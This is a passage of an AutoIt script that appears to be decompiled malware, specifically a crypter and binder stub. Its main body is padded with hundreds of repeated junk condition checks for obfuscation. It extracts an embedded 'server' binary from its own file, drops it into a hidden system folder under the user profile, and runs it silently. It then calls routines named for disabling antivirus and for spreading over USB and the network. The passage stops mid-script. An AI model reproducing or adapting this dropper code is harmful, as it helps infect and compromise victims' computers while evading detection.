- If $ialg_id <> $calg_userkey Then
- $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
- If @error Then
- $ierror = 1
- $vreturn = -1
- ExitLoop
- EndIf
- EndIf
- $hinfile = FileOpen($ssourcefile, 16)
- If @error Then
- $ierror = 2
- $vreturn = -1
- ExitLoop
- EndIf
- $houtfile = FileOpen($sdestinationfile, 26)
- If @error Then
- $ierror = 3
- $vreturn = -1
- ExitLoop
- EndIf
- Do
- $btempdata = FileRead($hinfile, 1024 * 1024)
- $iread += BinaryLen($btempdata)
- If $iread = $ifilesize Then
- $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, True)
- If @error Then
- $ierror = 4
- $vreturn = -1
- EndIf
- FileWrite($houtfile, $btempdata)
- ExitLoop 2
- Else
- $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, False)
- If @error Then
- $ierror = 5
- $vreturn = -1
- ExitLoop 2
- EndIf
- FileWrite($houtfile, $btempdata)
- EndIf
- Until False
- Until True
- If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
- _crypt_shutdown()
- If $hinfile <> -1 Then FileClose($hinfile)
- If $houtfile <> -1 Then FileClose($houtfile)
- Return SetError($ierror, 0, $vreturn)
- EndFunc
- Func __crypt_refcount()
- Return $__g_acryptinternaldata[0]
- EndFunc
- Func __crypt_refcountinc()
- $__g_acryptinternaldata[0] += 1
- EndFunc
- Func __crypt_refcountdec()
- If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
- EndFunc
- Func __crypt_dllhandle()
- Return $__g_acryptinternaldata[1]
- EndFunc
- Func __crypt_dllhandleset($hadvapi32)
- $__g_acryptinternaldata[1] = $hadvapi32
- EndFunc
- Func __crypt_context()
- Return $__g_acryptinternaldata[2]
- EndFunc
- Func __crypt_contextset($hcryptcontext)
- $__g_acryptinternaldata[2] = $hcryptcontext
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func _hextostring($strhex)
- If StringLeft($strhex, 2) = "0x" Then Return BinaryToString($strhex)
- Return BinaryToString("0x" & $strhex)
- EndFunc
- Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1)
- Local $s_case = ""
- If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)"
- Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
- $s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1")
- $s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1")
- If $s_start = "" Then $s_start = "\A"
- If $s_end = "" Then $s_end = "\z"
- Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3)
- If @error Then Return SetError(1, 0, 0)
- Return $a_ret
- EndFunc
- Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1)
- If $i_encrypt <> 0 AND $i_encrypt <> 1 Then
- SetError(1, 0, "")
- ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then
- SetError(1, 0, "")
- Else
- If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1
- Local $v_encryptmodified
- Local $i_encryptcounth
- Local $i_encryptcountg
- Local $v_encryptswap
- Local $av_encryptbox[256][2]
- Local $i_encryptcounta
- Local $i_encryptcountb
- Local $i_encryptcountc
- Local $i_encryptcountd
- Local $i_encryptcounte
- Local $v_encryptcipher
- Local $v_encryptcipherby
- If $i_encrypt = 1 Then
- For $i_encryptcountf = 0 To $i_encryptlevel Step 1
- $i_encryptcountg = ""
- $i_encryptcounth = ""
- $v_encryptmodified = ""
- For $i_encryptcountg = 1 To StringLen($s_encrypttext)
- If $i_encryptcounth = StringLen($s_encryptpassword) Then
- $i_encryptcounth = 1
- Else
- $i_encryptcounth += 1
- EndIf
- $v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
- Next
- $s_encrypttext = $v_encryptmodified
- $i_encryptcounta = ""
- $i_encryptcountb = 0
- $i_encryptcountc = ""
- $i_encryptcountd = ""
- $i_encryptcounte = ""
- $v_encryptcipherby = ""
- $v_encryptcipher = ""
- $v_encryptswap = ""
- $av_encryptbox = ""
- Local $av_encryptbox[256][2]
- For $i_encryptcounta = 0 To 255
- $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
- $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
- Next
- For $i_encryptcounta = 0 To 255
- $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
- $v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
- $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
- $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
- Next
- For $i_encryptcounta = 1 To StringLen($s_encrypttext)
- $i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
- $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
- $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
- $v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte)
- $v_encryptcipher &= Hex($v_encryptcipherby, 2)
- Next
- $s_encrypttext = $v_encryptcipher
- Next
- Else
- For $i_encryptcountf = 0 To $i_encryptlevel Step 1
- $i_encryptcountb = 0
- $i_encryptcountc = ""
- $i_encryptcountd = ""
- $i_encryptcounte = ""
- $v_encryptcipherby = ""
- $v_encryptcipher = ""
- $v_encryptswap = ""
- $av_encryptbox = ""
- Local $av_encryptbox[256][2]
- For $i_encryptcounta = 0 To 255
- $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
- $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
- Next
- For $i_encryptcounta = 0 To 255
- $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
- $v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
- $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
- $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
- Next
- For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2
- $i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
- $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
- $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
- $v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte)
- $v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby)
- Next
- $s_encrypttext = $v_encryptcipher
- $i_encryptcountg = ""
- $i_encryptcounth = ""
- $v_encryptmodified = ""
- For $i_encryptcountg = 1 To StringLen($s_encrypttext)
- If $i_encryptcounth = StringLen($s_encryptpassword) Then
- $i_encryptcounth = 1
- Else
- $i_encryptcounth += 1
- EndIf
- $v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
- Next
- $s_encrypttext = $v_encryptmodified
- Next
- EndIf
- Return $s_encrypttext
- EndIf
- EndFunc
- Func _stringexplode($sstring, $sdelimiter, $ilimit = 0)
- If $ilimit > 0 Then
- $sstring = StringReplace($sstring, $sdelimiter, Chr(0), $ilimit)
- $sdelimiter = Chr(0)
- ElseIf $ilimit < 0 Then
- Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit)
- If $iindex Then
- $sstring = StringLeft($sstring, $iindex - 1)
- EndIf
- EndIf
- Return StringSplit($sstring, $sdelimiter, 3)
- EndFunc
- Func _stringinsert($s_string, $s_insertstring, $i_position)
- Local $i_length, $s_start, $s_end
- If $s_string = "" OR (NOT IsString($s_string)) Then
- Return SetError(1, 0, $s_string)
- ElseIf $s_insertstring = "" OR (NOT IsString($s_string)) Then
- Return SetError(2, 0, $s_string)
- Else
- $i_length = StringLen($s_string)
- If (Abs($i_position) > $i_length) OR (NOT IsInt($i_position)) Then
- Return SetError(3, 0, $s_string)
- EndIf
- EndIf
- If $i_position = 0 Then
- Return $s_insertstring & $s_string
- ElseIf $i_position > 0 Then
- $s_start = StringLeft($s_string, $i_position)
- $s_end = StringRight($s_string, $i_length - $i_position)
- Return $s_start & $s_insertstring & $s_end
- ElseIf $i_position < 0 Then
- $s_start = StringLeft($s_string, Abs($i_length + $i_position))
- $s_end = StringRight($s_string, Abs($i_position))
- Return $s_start & $s_insertstring & $s_end
- EndIf
- EndFunc
- Func _stringproper($s_string)
- Local $ix = 0
- Local $capnext = 1
- Local $s_nstr = ""
- Local $s_curchar
- For $ix = 1 To StringLen($s_string)
- $s_curchar = StringMid($s_string, $ix, 1)
- Select
- Case $capnext = 1
- If StringRegExp($s_curchar, "[a-zA-ZÀ-ÿaS~x]") Then
- $s_curchar = StringUpper($s_curchar)
- $capnext = 0
- EndIf
- Case NOT StringRegExp($s_curchar, "[a-zA-ZÀ-ÿaS~x]")
- $capnext = 1
- Case Else
- $s_curchar = StringLower($s_curchar)
- EndSelect
- $s_nstr &= $s_curchar
- Next
- Return $s_nstr
- EndFunc
- Func _stringrepeat($sstring, $irepeatcount)
- Local $sresult
- Select
- Case NOT StringIsInt($irepeatcount)
- SetError(1)
- Return ""
- Case StringLen($sstring) < 1
- SetError(1)
- Return ""
- Case $irepeatcount <= 0
- SetError(1)
- Return ""
- Case Else
- For $icount = 1 To $irepeatcount
- $sresult &= $sstring
- Next
- Return $sresult
- EndSelect
- EndFunc
- Func _stringreverse($s_string)
- Local $i_len = StringLen($s_string)
- If $i_len < 1 Then Return SetError(1, 0, "")
- Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]")
- DllStructSetData($t_chars, 1, $s_string)
- Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars)
- If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "")
- Return DllStructGetData($t_chars, 1)
- EndFunc
- Func _stringtohex($strchar)
- Return Hex(StringToBinary($strchar))
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $autoit = @AutoItExe
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $path = FileRead($autoit, FileGetSize($autoit))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $c_pass = IniRead(@ScriptFullPath, "crypted", "key", "NotFound")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $var = IniRead(@ScriptFullPath, "random", "key", "NotFound")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $var2 = IniRead(@ScriptFullPath, "binder", "key", "NotFound")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $fbmessage = IniRead(@ScriptFullPath, "fbmessage", "key", "NotFound")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $randoms = $var
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $confuser = "/-confuser-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT FileExists(@UserProfileDir & "\" & $var2) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $file_settings = ""
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $fuckname = @ScriptFullPath
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $o_c = FileOpen($fuckname)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $r_c = FileRead($o_c)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileClose($o_c)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $empty_settings = get_binded_settings($r_c, "[JY]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $file_settings = get_binded_settings($empty_settings, "[J_Y]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $binary_of_server = StringTrimRight($empty_settings, StringLen($file_settings) + StringLen("[J_Y]"))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If $file_settings <> "" Then DirCreate(@UserProfileDir & "\" & $var2)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $fget = get_binded_settings($r_c, "[J_Y]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $oget = get_binded_settings($fget, "[J_END_Y]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $binname = StringTrimRight($fget, StringLen($oget) + StringLen("[J_END_Y]"))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $binname = BinaryToString($binname)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite(@UserProfileDir & "\" & $var2 & "\" & $binname, $binary_of_server)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $filepath = FileGetShortName(@UserProfileDir & "\" & $var2 & "\" & $binname)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib(@UserProfileDir & "\" & $var2 & "\", "+SH")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If FileGetSize($filepath) > 30 Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RunWait(@ComSpec & " /C Start " & $filepath, "", @SW_HIDE)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $confuser) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("confuser")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $disable = "/-disable-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringReplace($path, $disable, "") <> $path Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("avdisable")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $usb = "/-usb-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $usb) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("usb")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $network = "/-network-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $network) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("network")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
